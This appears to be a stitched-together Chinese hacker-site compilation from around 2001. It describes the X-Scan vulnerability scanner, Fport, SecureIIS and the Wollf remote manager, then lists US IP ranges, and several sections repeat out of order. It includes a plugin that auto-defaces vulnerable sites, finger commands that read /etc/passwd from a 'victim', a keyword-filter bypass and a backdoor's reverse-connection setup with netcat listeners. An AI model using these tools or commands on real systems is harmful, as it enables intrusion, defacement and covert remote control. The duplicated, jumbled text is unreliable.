四．IDS
我没有用过NT 下的几个满意的，对于这种工具很多都是商业用的，需要money去买，嘿嘿…….，不过我还是给大家推荐一款自称是IDS的NT下的工具。
Fport这个工具的主要用途就是列出你所开启的端口和程序，他一共就是3个文件，很小，但是很能干哦，我想对于查找那些不明程序的开了什么端口很有效果。下面是他的输出：
FPort v1.33 - TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com

Pid Process Port Proto Path
392 svchost -> 135 TCP C:\WINNT\system32\svchost.exe
8 System -> 139 TCP
8 System -> 445 TCP
512 MSTask -> 1025 TCP C:\WINNT\system32\MSTask.exe
8 System -> 1027 TCP

392 svchost -> 135 UDP C:\WINNT\system32\svchost.exe
8 System -> 137 UDP
8 System -> 138 UDP
8 System -> 445 UDP
220 lsass -> 500 UDP C:\WINNT\system32\lsass.exe
208 services -> 1026 UDP C:\WINNT\system32\services.exe
很清楚吧，但是它自称是 IDS似乎是有点夸大了。哎，要是谁有什么有趣的IDS软件给我玩玩就好了。
六．--其他
SecureIIS 1。0。4
Eeye安全公司（http://www.eeye.com)刚刚不久推出一款新的产品SecureIIS,这个东东是一个具备防火墙和入侵检测系统特性的产品，它能够保护IIS系统不受已知或者未知的入侵方法的侵害，它工作在应用程序层，包裹在IIS外面来检测数据安全 ，让攻击变的更加困难。
安装好这个工具以后，然后选定你想要保护的站点，接着就是自定义保护项目了，在这里一共有7个项目，我们将在下面一一进行介绍。
Buffer overflow-----常用的攻击方法，产生原因是由于攻击者使用一个发送一个大的请求到WEB服务器，WEB服务器尝试把这个大的请求copy到一个较小的缓冲器里，这样一个Buffer overflow就产生了，如果攻击者发送一个特别的缓冲的来溢出的话，他可能能够在你的 WEB服务器上执行一些命令。
ShellCode Protection-----检查数据中可能存在的执行命令经过你的服务器。
Keyword Filtering------ 默写确定的攻击种类可以使用过滤关键字的方法停止，例如过滤掉cmd.exe和system32，嘿嘿，最近很常见的攻击哦。
Allowed Folders-------加入一些检查的路径将使你的WEB避免遭受一些Directory Traversal Attacks。
Http Method---------WEB服务的请求方法的限定将使你的服务器更加安全。缺省情况下SecureIIS只允许GET和POST两种方法，嘿嘿，如果你的WEB没有留言本，论坛等等需要POST的请求的页面，那么连POST也可以省掉了.
Miscellaneous-------一些分类模糊的攻击模式的保护就在这里拉。
Sellect error file-------错误文件的选择。
总的来说那，这个产品的确是有点新意，但是毕竟才刚刚开发出来，许多的功能仍需要完善，就例如说它的1.0.3版本虽然对ADMIN的关键字进行检查，但是对于解码的关键字就没有进行检查例如"%41DMIN"的请求就通过了…….咳，说什么好呢，革命尚未完成，同志还要努力呀。哈哈
忘记唠叨一句，在它的子目录policies里有一个default.ini是一个缺省的配置，你可以看看它到底做了些什么。
三．扫描工具
扫描器可以帮助你检查自己网络的脆弱性，虽然说有很多的国外的商业扫描器是十分好的作品，但是笨重的身躯和繁长的报告能让你头痛3天，为此，我在这里特别给大家介绍一个国产的免费的扫描器-----xscan。Xscan的作者就是冰河，它的最大的优点就是中文的报告，和对漏洞的中文的评述（我认为）。它最大的缺点就是功能仍然不够全面，感觉对CGI漏洞的扫描功能做的比较好，其他的漏洞检查仍然需要大力改进，而且速度比较慢。好了，废话少说，先让我们看看它的说明书吧。
一.系统要求：Windows 98/NT4.0/2000
二.功能简介：
采用多线程方式对指定IP地址段(或单机)进行安全漏洞扫描，支持插件功能，提供了图形界面和命令行两种操作方式，扫描内容包括：标准端口状态及端口banner信息、CGI漏洞、RPC漏洞、SQL-SERVER默认帐户、FTP弱口令，NT主机共享信息、用户信息、组信息、NT主机弱口令用户等。扫描结果保存在/log/目录中，index_*.htm为扫描结果索引文件。对于一些已知的CGI和RPC等漏洞，我们给出了相应的漏洞描述、利用程序及解决方案，其它漏洞资料正在进一步整理完善中，您也可以通过本站的"安全文献"和"漏洞引擎"栏目查阅相关说明。

三.所需文件：

xscan_gui.exe -- X-Scanner图形界面
xscan.exe -- X-Scanner for Windows 98/NT4.0/2000 主程序
mssql.dll -- SQL动态链接库
netbios.dll -- NetBios动态链接库
oncrpc.dll -- OncRpc动态链接库
readme.txt -- 使用说明
/dat/config.ini -- 用户配置文件，包括扫描端口、默认用户名及口令等信息
/dat/cgi.lst -- CGI漏洞列表
/dat/rpc.ini -- RPC程序名称及漏洞列表
/dat/ntuser.dic -- NT主机用户名字典文件，用于扫描NT弱口令用户
/dat/ntpass.dic -- NT主机密码字典，用于扫描NT弱口令用户
/plugin -- 用于存放所有插件(后缀名为.nfs)，插件也可放在xscan.exe所在目录的其他子目录中，程序会自动搜索。

/cgi/*.htm -- CGI漏洞描述及解决方案，其中index.htm为主索引文件
/cgi/ -- CGI漏洞利用程序及实例
/rpc/*.htm -- RPC漏洞描述及解决方案，其中index.htm为主索引文件
/rpc/ -- RPC漏洞利用程序及实例

注：cgi目录和rpc目录内仅包含各漏洞说明及利用程序，并非扫描器所必需的文件。

四.运行参数说明：

1.命令行：Xscan [起始地址]<-[终止地址]> [扫描选项]

其中的[扫描选项]含义如下：
-port : 扫描标准端口(端口列表可通过\dat\config.ini文件定制)；
-banner : 获取开放端口的banner信息，需要与-p参数合用；
-cgi : 扫描CGI漏洞；
-rpc : 扫描RPC漏洞；
-sql : 扫描SQL-SERVER默认帐户；
-ftp : 尝试FTP默认用户登录(用户名及口令可以通过\dat\config.ini文件定制)；
-netbios: 获取NetBios信息(若远程主机操作系统为Windows9x/NT4.0/2000)；
-ntpass : 尝试弱口令用户连接(若远程主机操作系统为Windows NT4.0/2000)；
-all : 扫描以上全部内容；

-v : 显示详细扫描进度；
-d : 禁止扫描前PING被扫主机。
-plugin : 使用插件；

-t [线程数量]: 设置线程数量，默认为20个线程，最大值为50；
-proxy [代理服务器:端口]: 通过代理服务器扫描漏洞，目前只适用于"-cgi"选项；

2.示例：
xscan xxx.xxx.1.1-xxx.xxx.10.255 -all -plugin
含义：扫描XXX.XXX.1.1-XXX.XXX.10.255网段内主机的所有信息，并使用插件；

xscan xxx.xxx.1.1 -netbios -ntpass -t 30
含义：获取XXX.XXX.1.1主机的Netbios信息，并检测NT弱口令用户，线程数量为30；

xscan xxx.xxx.1.1 -port -banner -cgi -proxy 129.66.58.13:80 -v -d
含义：扫描xxx.xxx.1.1主机的标准端口状态，通过代理服务器"129.66.58.13:80"扫描CGI漏洞，检测端口banner信息，且扫描前不通过ping命令检测主机状态，显示详细扫描进度。

五.数据文件格式：

1."dat\config.ini"：

[PORT-LIST]：待扫描端口，格式为"Port=端口1,端口2,端口3..."；
[FTP-DEFAULT-ACCOUNTS]：FTP默认帐户，格式为"用户名=口令1,口令2..."；
[NT-PASS-DICT]：设置NT用户名及密码字典所在位置，用于扫描NT弱口令用户，格式为"user_dict=.\dat\nt_user.dic"；"pass_dict=.\dat\nt_pass.dic"，可根据需要更改字典文件名"ntuser.dic"和"ntpass.dic"，文件名为空表示不使用字典文件(如"pass_dict=")。注：只有当无法通过NETBIOS获取对方用户列表时，才从字典文件中获取用户名，否则用户名字典无效，程序将以当前服务器中用户列表作为用户名字典；
[NT-DEFAULT-ACCOUNTS]：NT默认帐户，当无法通过NETBIOS获取用户名列表而且又未设置用户名字典时，将由该处获取用户名及口令，格式为"用户名=口令1,口令2..."；
[SQL-SERVER-DEFAULT-ACCOUNTS]：SQL-SERVER默认帐户，格式为"用户名=口令1,口令2..."；

2."dat\cgi.lst"：

CGI程序路径1
CGI程序路径2
CGI程序路径3
......

3."dat\rpc.ini"：

1) 存在漏洞的RPC程序列表，内容及格式如下：

[编号1]
ID=程序ID；name=程序名称；alias=程序别名；version=程序版本；protocol=协议；level=风险等级。

[编号2]
......

2) RPC程序ID与名称对应表：

[RPC-NAME]：已知的RPC名称，格式为"程序ID = 程序名称,程序别名1 程序别名2 ..."。
六.插件接口：
1. bind.nfs
扫描漏洞：1) bind NXT records漏洞
参考http://security.nsfocus.com/showQuery.asp?bugID=114
2) ISC Bind 8 TSIG缓冲区溢出漏洞
参考http://security.nsfocus.com/showQuery.asp?bugID=1230
3) DNS Supports IQUERY漏洞
参考http://www.whitehats.com/info/IDS277
溢出程序参考http://www.securityfocus.com/vdb/?id=134
2. finger.nfs
扫描漏洞：1) finger 0@host漏洞
参考http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0197
2) FreeBSD 4.1.1 finger漏洞
FreeBSD 4.1.1的finger实现有问题，执行finger filename@victim，可以看到文件内容，例如finger /etc/passwd@victim可以看到passwd文件
3) finger重定向漏洞
执行finger @host@victim，可以用victim做代理来finger host主机
3. sygate.nfs
扫描漏洞：1) 某些版本的sygate有一个后门，可以通过7323端口远程控制
参考http://www.securityfocus.com/vdb/?id=952
中文http://security.nsfocus.com/showQuery.asp?bugID=273
4. RedV.nfs
老鬼(colossus)为纪念2001年5月1日-2001年5月7日所做，自动更换页面插件，将编辑好的Index.htm文件存放至xscan.exe所在目录下的dat目录，当扫描出对方存在SQL-SERVER默认帐户、NT管理员空口令、UNICODE中的任何一种漏洞，将自动用Index.htm文件覆盖对方原索引文件，其中UNICODE漏洞仅限于英文WINDOWS，本插件仅供学习及技术交流之用，请勿滥用。
好了，有着冰河这么一个优秀的程序设计人员在开发它，我们只要等待+鼓励+帮助，那么很快xscan将迅速成长起来。当然如果你的机器需要特别的“照顾”的话，可以选用一些商业扫描器，例如ISS,retina等等。
四．IDS
我没有用过NT 下的几个满意的，对于这种工具很多都是商业用的，需要money去买，嘿嘿…….，不过我还是给大家推荐一款自称是IDS的NT下的工具。
Fport这个工具的主要用途就是列出你所开启的端口和程序，他一共就是3个文件，很小，但是很能干哦，我想对于查找那些不明程序的开了什么端口很有效果。下面是他的输出：
FPort v1.33 - TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com

Pid Process Port Proto Path
392 svchost -> 135 TCP C:\WINNT\system32\svchost.exe
8 System -> 139 TCP
8 System -> 445 TCP
512 MSTask -> 1025 TCP C:\WINNT\system32\MSTask.exe
8 System -> 1027 TCP

392 svchost -> 135 UDP C:\WINNT\system32\svchost.exe
8 System -> 137 UDP
8 System -> 138 UDP
8 System -> 445 UDP
220 lsass -> 500 UDP C:\WINNT\system32\lsass.exe
208 services -> 1026 UDP C:\WINNT\system32\services.exe
很清楚吧，但是它自称是 IDS似乎是有点夸大了。哎，要是谁有什么有趣的IDS软件给我玩玩就好了。
六．--其他
SecureIIS 1。0。4
Eeye安全公司（http://www.eeye.com)刚刚不久推出一款新的产品SecureIIS,这个东东是一个具备防火墙和入侵检测系统特性的产品，它能够保护IIS系统不受已知或者未知的入侵方法的侵害，它工作在应用程序层，包裹在IIS外面来检测数据安全 ，让攻击变的更加困难。
安装好这个工具以后，然后选定你想要保护的站点，接着就是自定义保护项目了，在这里一共有7个项目，我们将在下面一一进行介绍。
Buffer overflow-----常用的攻击方法，产生原因是由于攻击者使用一个发送一个大的请求到WEB服务器，WEB服务器尝试把这个大的请求copy到一个较小的缓冲器里，这样一个Buffer overflow就产生了，如果攻击者发送一个特别的缓冲的来溢出的话，他可能能够在你的 WEB服务器上执行一些命令。
ShellCode Protection-----检查数据中可能存在的执行命令经过你的服务器。
Keyword Filtering------ 默写确定的攻击种类可以使用过滤关键字的方法停止，例如过滤掉cmd.exe和system32，嘿嘿，最近很常见的攻击哦。
Allowed Folders-------加入一些检查的路径将使你的WEB避免遭受一些Directory Traversal Attacks。
Http Method---------WEB服务的请求方法的限定将使你的服务器更加安全。缺省情况下SecureIIS只允许GET和POST两种方法，嘿嘿，如果你的WEB没有留言本，论坛等等需要POST的请求的页面，那么连POST也可以省掉了.
Miscellaneous-------一些分类模糊的攻击模式的保护就在这里拉。
Sellect error file-------错误文件的选择。
总的来说那，这个产品的确是有点新意，但是毕竟才刚刚开发出来，许多的功能仍需要完善，就例如说它的1.0.3版本虽然对ADMIN的关键字进行检查，但是对于解码的关键字就没有进行检查例如"%41DMIN"的请求就通过了…….咳，说什么好呢，革命尚未完成，同志还要努力呀。哈哈
忘记唠叨一句，在它的子目录policies里有一个default.ini是一个缺省的配置，你可以看看它到底做了些什么。三．扫描工具
扫描器可以帮助你检查自己网络的脆弱性，虽然说有很多的国外的商业扫描器是十分好的作品，但是笨重的身躯和繁长的报告能让你头痛3天，为此，我在这里特别给大家介绍一个国产的免费的扫描器-----xscan。Xscan的作者就是冰河，它的最大的优点就是中文的报告，和对漏洞的中文的评述（我认为）。它最大的缺点就是功能仍然不够全面，感觉对CGI漏洞的扫描功能做的比较好，其他的漏洞检查仍然需要大力改进，而且速度比较慢。好了，废话少说，先让我们看看它的说明书吧。
一.系统要求：Windows 98/NT4.0/2000
二.功能简介：
采用多线程方式对指定IP地址段(或单机)进行安全漏洞扫描，支持插件功能，提供了图形界面和命令行两种操作方式，扫描内容包括：标准端口状态及端口banner信息、CGI漏洞、RPC漏洞、SQL-SERVER默认帐户、FTP弱口令，NT主机共享信息、用户信息、组信息、NT主机弱口令用户等。扫描结果保存在/log/目录中，index_*.htm为扫描结果索引文件。对于一些已知的CGI和RPC等漏洞，我们给出了相应的漏洞描述、利用程序及解决方案，其它漏洞资料正在进一步整理完善中，您也可以通过本站的"安全文献"和"漏洞引擎"栏目查阅相关说明。

三.所需文件：

xscan_gui.exe -- X-Scanner图形界面
xscan.exe -- X-Scanner for Windows 98/NT4.0/2000 主程序
mssql.dll -- SQL动态链接库
netbios.dll -- NetBios动态链接库
oncrpc.dll -- OncRpc动态链接库
readme.txt -- 使用说明
/dat/config.ini -- 用户配置文件，包括扫描端口、默认用户名及口令等信息
/dat/cgi.lst -- CGI漏洞列表
/dat/rpc.ini -- RPC程序名称及漏洞列表
/dat/ntuser.dic -- NT主机用户名字典文件，用于扫描NT弱口令用户
/dat/ntpass.dic -- NT主机密码字典，用于扫描NT弱口令用户
/plugin -- 用于存放所有插件(后缀名为.nfs)，插件也可放在xscan.exe所在目录的其他子目录中，程序会自动搜索。

/cgi/*.htm -- CGI漏洞描述及解决方案，其中index.htm为主索引文件
/cgi/ -- CGI漏洞利用程序及实例
/rpc/*.htm -- RPC漏洞描述及解决方案，其中index.htm为主索引文件
/rpc/ -- RPC漏洞利用程序及实例

注：cgi目录和rpc目录内仅包含各漏洞说明及利用程序，并非扫描器所必需的文件。

四.运行参数说明：

1.命令行：Xscan [起始地址]<-[终止地址]> [扫描选项]

其中的[扫描选项]含义如下：
-port : 扫描标准端口(端口列表可通过\dat\config.ini文件定制)；
-banner : 获取开放端口的banner信息，需要与-p参数合用；
-cgi : 扫描CGI漏洞；
-rpc : 扫描RPC漏洞；
-sql : 扫描SQL-SERVER默认帐户；
-ftp : 尝试FTP默认用户登录(用户名及口令可以通过\dat\config.ini文件定制)；
-netbios: 获取NetBios信息(若远程主机操作系统为Windows9x/NT4.0/2000)；
-ntpass : 尝试弱口令用户连接(若远程主机操作系统为Windows NT4.0/2000)；
-all : 扫描以上全部内容；

-v : 显示详细扫描进度；
-d : 禁止扫描前PING被扫主机。
-plugin : 使用插件；

-t [线程数量]: 设置线程数量，默认为20个线程，最大值为50；
-proxy [代理服务器:端口]: 通过代理服务器扫描漏洞，目前只适用于"-cgi"选项；

2.示例：
xscan xxx.xxx.1.1-xxx.xxx.10.255 -all -plugin
含义：扫描XXX.XXX.1.1-XXX.XXX.10.255网段内主机的所有信息，并使用插件；

xscan xxx.xxx.1.1 -netbios -ntpass -t 30
含义：获取XXX.XXX.1.1主机的Netbios信息，并检测NT弱口令用户，线程数量为30；

xscan xxx.xxx.1.1 -port -banner -cgi -proxy 129.66.58.13:80 -v -d
含义：扫描xxx.xxx.1.1主机的标准端口状态，通过代理服务器"129.66.58.13:80"扫描CGI漏洞，检测端口banner信息，且扫描前不通过ping命令检测主机状态，显示详细扫描进度。

五.数据文件格式：

1."dat\config.ini"：

[PORT-LIST]：待扫描端口，格式为"Port=端口1,端口2,端口3..."；
[FTP-DEFAULT-ACCOUNTS]：FTP默认帐户，格式为"用户名=口令1,口令2..."；
[NT-PASS-DICT]：设置NT用户名及密码字典所在位置，用于扫描NT弱口令用户，格式为"user_dict=.\dat\nt_user.dic"；"pass_dict=.\dat\nt_pass.dic"，可根据需要更改字典文件名"ntuser.dic"和"ntpass.dic"，文件名为空表示不使用字典文件(如"pass_dict=")。注：只有当无法通过NETBIOS获取对方用户列表时，才从字典文件中获取用户名，否则用户名字典无效，程序将以当前服务器中用户列表作为用户名字典；
[NT-DEFAULT-ACCOUNTS]：NT默认帐户，当无法通过NETBIOS获取用户名列表而且又未设置用户名字典时，将由该处获取用户名及口令，格式为"用户名=口令1,口令2..."；
[SQL-SERVER-DEFAULT-ACCOUNTS]：SQL-SERVER默认帐户，格式为"用户名=口令1,口令2..."；

2."dat\cgi.lst"：

CGI程序路径1
CGI程序路径2
CGI程序路径3
......

3."dat\rpc.ini"：

1) 存在漏洞的RPC程序列表，内容及格式如下：

[编号1]
ID=程序ID；name=程序名称；alias=程序别名；version=程序版本；protocol=协议；level=风险等级。

[编号2]
......

2) RPC程序ID与名称对应表：

[RPC-NAME]：已知的RPC名称，格式为"程序ID = 程序名称,程序别名1 程序别名2 ..."。
六.插件接口：
1. bind.nfs
扫描漏洞：1) bind NXT records漏洞
参考http://security.nsfocus.com/showQuery.asp?bugID=114
2) ISC Bind 8 TSIG缓冲区溢出漏洞
参考http://security.nsfocus.com/showQuery.asp?bugID=1230
3) DNS Supports IQUERY漏洞
参考http://www.whitehats.com/info/IDS277
溢出程序参考http://www.securityfocus.com/vdb/?id=134
2. finger.nfs
扫描漏洞：1) finger 0@host漏洞
参考http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0197
2) FreeBSD 4.1.1 finger漏洞
FreeBSD 4.1.1的finger实现有问题，执行finger filename@victim，可以看到文件内容，例如finger /etc/passwd@victim可以看到passwd文件
3) finger重定向漏洞
执行finger @host@victim，可以用victim做代理来finger host主机
3. sygate.nfs
扫描漏洞：1) 某些版本的sygate有一个后门，可以通过7323端口远程控制
参考http://www.securityfocus.com/vdb/?id=952
中文http://security.nsfocus.com/showQuery.asp?bugID=273
4. RedV.nfs
老鬼(colossus)为纪念2001年5月1日-2001年5月7日所做，自动更换页面插件，将编辑好的Index.htm文件存放至xscan.exe所在目录下的dat目录，当扫描出对方存在SQL-SERVER默认帐户、NT管理员空口令、UNICODE中的任何一种漏洞，将自动用Index.htm文件覆盖对方原索引文件，其中UNICODE漏洞仅限于英文WINDOWS，本插件仅供学习及技术交流之用，请勿滥用。
好了，有着冰河这么一个优秀的程序设计人员在开发它，我们只要等待+鼓励+帮助，那么很快xscan将迅速成长起来。当然如果你的机器需要特别的“照顾”的话，可以选用一些商业扫描器，例如ISS,retina等等。
四．IDS
我没有用过NT 下的几个满意的，对于这种工具很多都是商业用的，需要money去买，嘿嘿…….，不过我还是给大家推荐一款自称是IDS的NT下的工具。
Fport这个工具的主要用途就是列出你所开启的端口和程序，他一共就是3个文件，很小，但是很能干哦，我想对于查找那些不明程序的开了什么端口很有效果。下面是他的输出：
FPort v1.33 - TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com

Pid Process Port Proto Path
392 svchost -> 135 TCP C:\WINNT\system32\svchost.exe
8 System -> 139 TCP
8 System -> 445 TCP
512 MSTask -> 1025 TCP C:\WINNT\system32\MSTask.exe
8 System -> 1027 TCP

392 svchost -> 135 UDP C:\WINNT\system32\svchost.exe
8 System -> 137 UDP
8 System -> 138 UDP
8 System -> 445 UDP
220 lsass -> 500 UDP C:\WINNT\system32\lsass.exe
208 services -> 1026 UDP C:\WINNT\system32\services.exe
很清楚吧，但是它自称是 IDS似乎是有点夸大了。哎，要是谁有什么有趣的IDS软件给我玩玩就好了。
六．--其他
SecureIIS 1。0。4
Eeye安全公司（http://www.eeye.com)刚刚不久推出一款新的产品SecureIIS,这个东东是一个具备防火墙和入侵检测系统特性的产品，它能够保护IIS系统不受已知或者未知的入侵方法的侵害，它工作在应用程序层，包裹在IIS外面来检测数据安全 ，让攻击变的更加困难。
安装好这个工具以后，然后选定你想要保护的站点，接着就是自定义保护项目了，在这里一共有7个项目，我们将在下面一一进行介绍。
Buffer overflow-----常用的攻击方法，产生原因是由于攻击者使用一个发送一个大的请求到WEB服务器，WEB服务器尝试把这个大的请求copy到一个较小的缓冲器里，这样一个Buffer overflow就产生了，如果攻击者发送一个特别的缓冲的来溢出的话，他可能能够在你的 WEB服务器上执行一些命令。
ShellCode Protection-----检查数据中可能存在的执行命令经过你的服务器。
Keyword Filtering------ 默写确定的攻击种类可以使用过滤关键字的方法停止，例如过滤掉cmd.exe和system32，嘿嘿，最近很常见的攻击哦。
Allowed Folders-------加入一些检查的路径将使你的WEB避免遭受一些Directory Traversal Attacks。
Http Method---------WEB服务的请求方法的限定将使你的服务器更加安全。缺省情况下SecureIIS只允许GET和POST两种方法，嘿嘿，如果你的WEB没有留言本，论坛等等需要POST的请求的页面，那么连POST也可以省掉了.
Miscellaneous-------一些分类模糊的攻击模式的保护就在这里拉。
Sellect error file-------错误文件的选择。
总的来说那，这个产品的确是有点新意，但是毕竟才刚刚开发出来，许多的功能仍需要完善，就例如说它的1.0.3版本虽然对ADMIN的关键字进行检查，但是对于解码的关键字就没有进行检查例如"%41DMIN"的请求就通过了…….咳，说什么好呢，革命尚未完成，同志还要努力呀。哈哈
忘记唠叨一句，在它的子目录policies里有一个default.ini是一个缺省的配置，你可以看看它到底做了些什么。


Wollf remote manager v1.4

Code by wollf, http://www.xfocus.org

扩展Telnet服务，可传输文件，可反向连接，可通过参数选择随系统启动或作为普通进程启动。

运行参数：
wollf [options]

[options]含义如下：
-install：安装wollf服务，默认参数；
-remove：停止并清除wollf服务；
-debug：调试wollf服务，用于安装失败后查看出错信息；
-once：作为普通进程运行，重启后不自动加载；
-listen [port]：监听指定端口，等待远程连接，主要用于反向连接方式；
-setup：对wollf.exe进行设置，包括监听端口、访问口令或设置为反向连接方式，完成后将生成wollf_new.exe，设置内容及示例见"config_howto.txt"。

运行示例：
"wollf" 安装并启动服务，监听默认端口7614；
"wollf -remove" 停止并卸载服务；
"wollf -debug" 无法安装服务，加-debug参数运行，以便查看失败原因；
"wollf -once" 作为普通进程运行，重新启动后不自动加载，指定监听2000端口；
"wollf -listen 2000" 监听2000端口，等待远程机器主动连接；
"wollf -setup" 对wollf.exe进行配置，并生成wollf_new.exe。

默认监听端口为7614，通过Telnet连接后可输入"help"查看命令列表。可通过"exit"命令断开连接，"quit"命令关闭服务，"remove"命令关闭并卸载服务。
若将wollf服务设置为反向连接方式，需要事先向FTP或HTTP服务器上传一个包含控制者IP地址和监听端口的文本文件，格式为"[IP]:[port]"，如"192.168.1.1:2000"，然后运行"wollf -listen 2000"等待连接。
建议使用nc(NetCat)作为客户端进行连接。命令参数中如有空格必须置于引号对中，如CD "My Documents"。

目前支持以下命令：

DOS 切换到MS-DOS提示符
DIR/LS/LIST 目录/文件列表
CD 进入目录
MD/MKDIR 创建目录
PWD 查看当前目录
COPY/CP 复制目录/文件
DEL/RM 删除目录/文件
REN 重命名文件
MOVE/MV 移动目录/文件
TYPE/CAT 查看文本内容
WGET 从HTTP服务器下载文件
FGET 从FTP服务器下载文件
FPUT 向FTP服务器上传文件
SHELL 通过系统SHELL(cmd.exe)执行命令，如"SHELL DIR"
EXEC/RUN 通过Windows API(WinExec)运行程序
PS 查看进程列表
WS 查看窗口列表
KILL 强行关闭进程
WHO/W 查看当前所有连接者IP
EXPORT 在新端口输出SHELL
TELNET 连接到其他安装本服务的机器
POPMSG 弹出系统对话框
SYSINFO 查看系统基本信息
SHUTDOWN 关闭系统
EXIT 断开当前连接
QUIT 断开所有连接并终止服务
REMOVE 卸载服务
VER/VERSION 版本信息
HELP/H/? 帮助信息

练习作品，错漏在所难免。主要目的是为了通过这个小玩意结识一些朋友，在相互交流中共同提高。
感谢glacier在开发过程中给予的大力指导；感谢casper在开发初期给予的创造灵感；感谢quack协助测试。

***************************************************************************************************

一、设置内容

通过"wollf -setup"进入设置界面，可对以下选项进行设置：

* 1.设置监听端口
2.设置访问口令
3.设置服务名称
4.设置服务显示名称
5.设置最终可执行文件名
* 6.设置FTP路径，用于反向连接
* 7.设置HTTP路径，用于反向连接
8.查看当前设置

9.设置帮助
0.完成

注：带"*"号的是互斥选项，只能有一项生效。

二、设置wollf服务示例：

=================================================================
示例1、将监听端口设置为2000，并设置访问密码"wollf"，设置服务名称/显示名称为"wsvc"/"Wollf Remote Manager"，设置最终可执行文件为"wollf.exe"。

Please choose an operation:1
Input listen port(eg: 2000) : 2000
Set listen port succeed

Please choose another operation (9 for help):2
Input access password(eg: wollf) : wollf
Set access password succeed

Please choose another operation (9 for help):3
Input service name(eg: wollf) : wsvc
Set service name succeed

Please choose another operation (9 for help):4
Input service display name(eg: Wollf Admin Service) : Wollf Remote Manager
Set service display name succeed

Please choose another operation (9 for help):5
Input EXE filename(eg: wollf.exe) : wollf.exe
Set EXE filename succeed

Please choose another operation (9 for help):8
Password: wollf
Service name: wsvc
Service display name: Wollf Remote Manager
EXE name: wollf.exe
Listen port: 2000

Please choose another operation (9 for help):0
Write to file "d:\wollf\wollf_new.exe" succeed

=================================================================
示例2、设置反向连接，每隔60秒(1分钟)尝试从FTP主机获取文件"ftp://www.wollf.com/temp/ip.txt"，文件内容为待连接的主机IP及端口，如"192.168.1.1:2000"，该文件根据本机真实IP手工设置并上传。如果服务器不允许匿名用户登陆，需要同时设置登录用户名及口令，如"wollf/wollfpass"。
全部设置好之后需要在本机打开监听端口等待对方主动连接，"wollf -listen 2000"，或使用nc监听端口"nc -l -p 2000"。

Please choose an operation:6
Does it requires reverse connection by FTP server(y/n)?y
Input FTP path(eg: ftp://ftp.xxxx.com/remote.txt) : ftp://www.wollf.com/temp/ip.txt
Set FTP path succeed
Input the secs. of delay(eg: 60) : 60
Set delay succeed
Dose the FTP server requires user login(y/n)?y
Input login username(eg: wollf) : wollf
Set FTP username succeed
Input login password(eg: wollf) : wollfpass
Set FTP password succeed

Please choose another operation (9 for help):8
FTP path: ftp://www.wollf.com/temp/ip.txt
FTP user: wollf
FTP pass: wollfpass
Delay : 60(secs.)

Please choose another operation (9 for help):0
Write to file "d:\wollf\wollf_new.exe" succeed

=================================================================
示例3、设置反向连接，每隔300秒(5分钟)尝试连接从HTTP主机获取文件"http://www.wollf.com/temp/ip.txt"，文件内容为待连接的主机IP及端口，如"192.168.1.1:2000"，该文件根据本机真实IP手工设置并上传。
全部设置好之后需要在本机打开监听端口等待对方主动连接，"wollf -listen 2000"，或使用nc监听端口"nc -l -p 2000"。

Please choose an operation:7
Does it requires reverse connection by HTTP server(y/n)?y
Input HTTP path(eg: http://www.xxxx.com/remote.txt) : http://www.wollf.com/temp/ip.txt
Set HTTP path succeed
Input the secs. of delay(eg: 60) : 300
Set delay succeed

Please choose another operation (9 for help):8
HTTP path: http://www.wollf.com/temp/ip.txt
Delay : 300(secs.)

Please choose another operation (9 for help):0
Write to file "d:\wollf\wollf_new.exe" succeed


美国ip段，日本ip段、网站、电子信箱

美国IP段
003.000.000.000 003.255.255.255 美国 新泽西通用电气公司
048.000.000.000 048.255.255.255 美国 纽约(Prudential Securities Inc)
049.000.000.000 050.255.255.255 美国 亚利桑那州
052.000.000.000 052.255.255.255 美国 特拉华州dupont公司
054.000.000.000 054.255.255.255 美国 新泽西州(Merck公司)
055.000.000.000 055.255.255.255 美国 弗吉尼亚(美国陆军部队)
056.000.000.000 056.255.255.255 美国 北卡罗来纳(美国邮政局)
063.000.000.000 063.255.255.255 美国 NIC注册机构
130.039.000.000 130.039.255.255 美国 路易斯安那州立大学
131.230.000.000 131.230.255.255 美国 伊利诺伊州南方大学
144.092.000.000 144.092.255.255 美国 威斯康星州立大学
151.000.000.000 152.255.255.255 美国
161.058.000.000 161.058.255.255 美国 南加利福尼亚
169.208.000.000 169.223.255.255 亚洲
171.208.000.000 171.220.255.255 美国 DAHA-AOL用户
195.010.040.000 195.010.040.255 美国
195.010.062.000 195.010.063.255 美国
195.010.194.160 195.010.194.167 美国
195.063.159.024 195.063.159.031 美国
195.090.044.000 195.090.044.255 美国
195.090.046.000 195.090.047.079 美国
195.090.048.000 195.090.048.015 美国

195.090.049.000 195.090.049.015 美国
195.090.049.192 195.090.049.255 美国
195.090.051.000 195.090.051.191 美国
195.090.052.000 195.090.052.063 美国
195.090.053.000 195.090.053.255 美国

195.100.066.128 195.100.066.135 美国

195.112.164.000 195.112.164.011 美国

195.112.164.020 195.112.164.123 美国

195.112.164.136 195.112.164.143 美国

195.112.164.148 195.112.164.155 美国

195.112.164.160 195.112.164.171 美国

195.112.164.176 195.112.164.179 美国

195.112.164.184 195.112.164.187 美国

195.112.164.192 195.112.164.195 美国
195.112.164.204 195.112.164.215 美国

195.112.164.220 195.112.164.243 美国

195.112.164.248 195.112.164.255 美国

195.112.172.000 195.112.172.007 美国

195.112.172.012 195.112.172.031 美国

195.112.172.036 195.112.172.059 美国

195.112.172.064 195.112.172.071 美国

195.112.172.076 195.112.172.095 美国

195.112.172.104 195.112.172.119 美国

195.112.172.124 195.112.172.135 美国

195.112.172.140 195.112.172.147 美国

195.112.172.152 195.112.172.159 美国

195.112.172.164 195.112.172.187 美国

195.112.172.192 195.112.172.215 美国

195.112.172.224 195.112.172.239 美国

195.112.172.248 195.112.172.255 美国

195.112.173.004 195.112.173.015 美国

195.112.173.020 195.112.173.035 美国

195.112.173.040 195.112.173.051 美国

195.112.173.056 195.112.173.059 美国

195.112.173.064 195.112.173.147 美国

195.112.173.152 195.112.173.155 美国

195.112.173.180 195.112.173.199 美国

195.112.173.160 195.112.173.175 美国

195.112.173.204 195.112.173.211 美国

195.112.173.216 195.112.173.219 美国

195.112.173.228 195.112.173.231 美国

195.112.173.236 195.112.173.251 美国

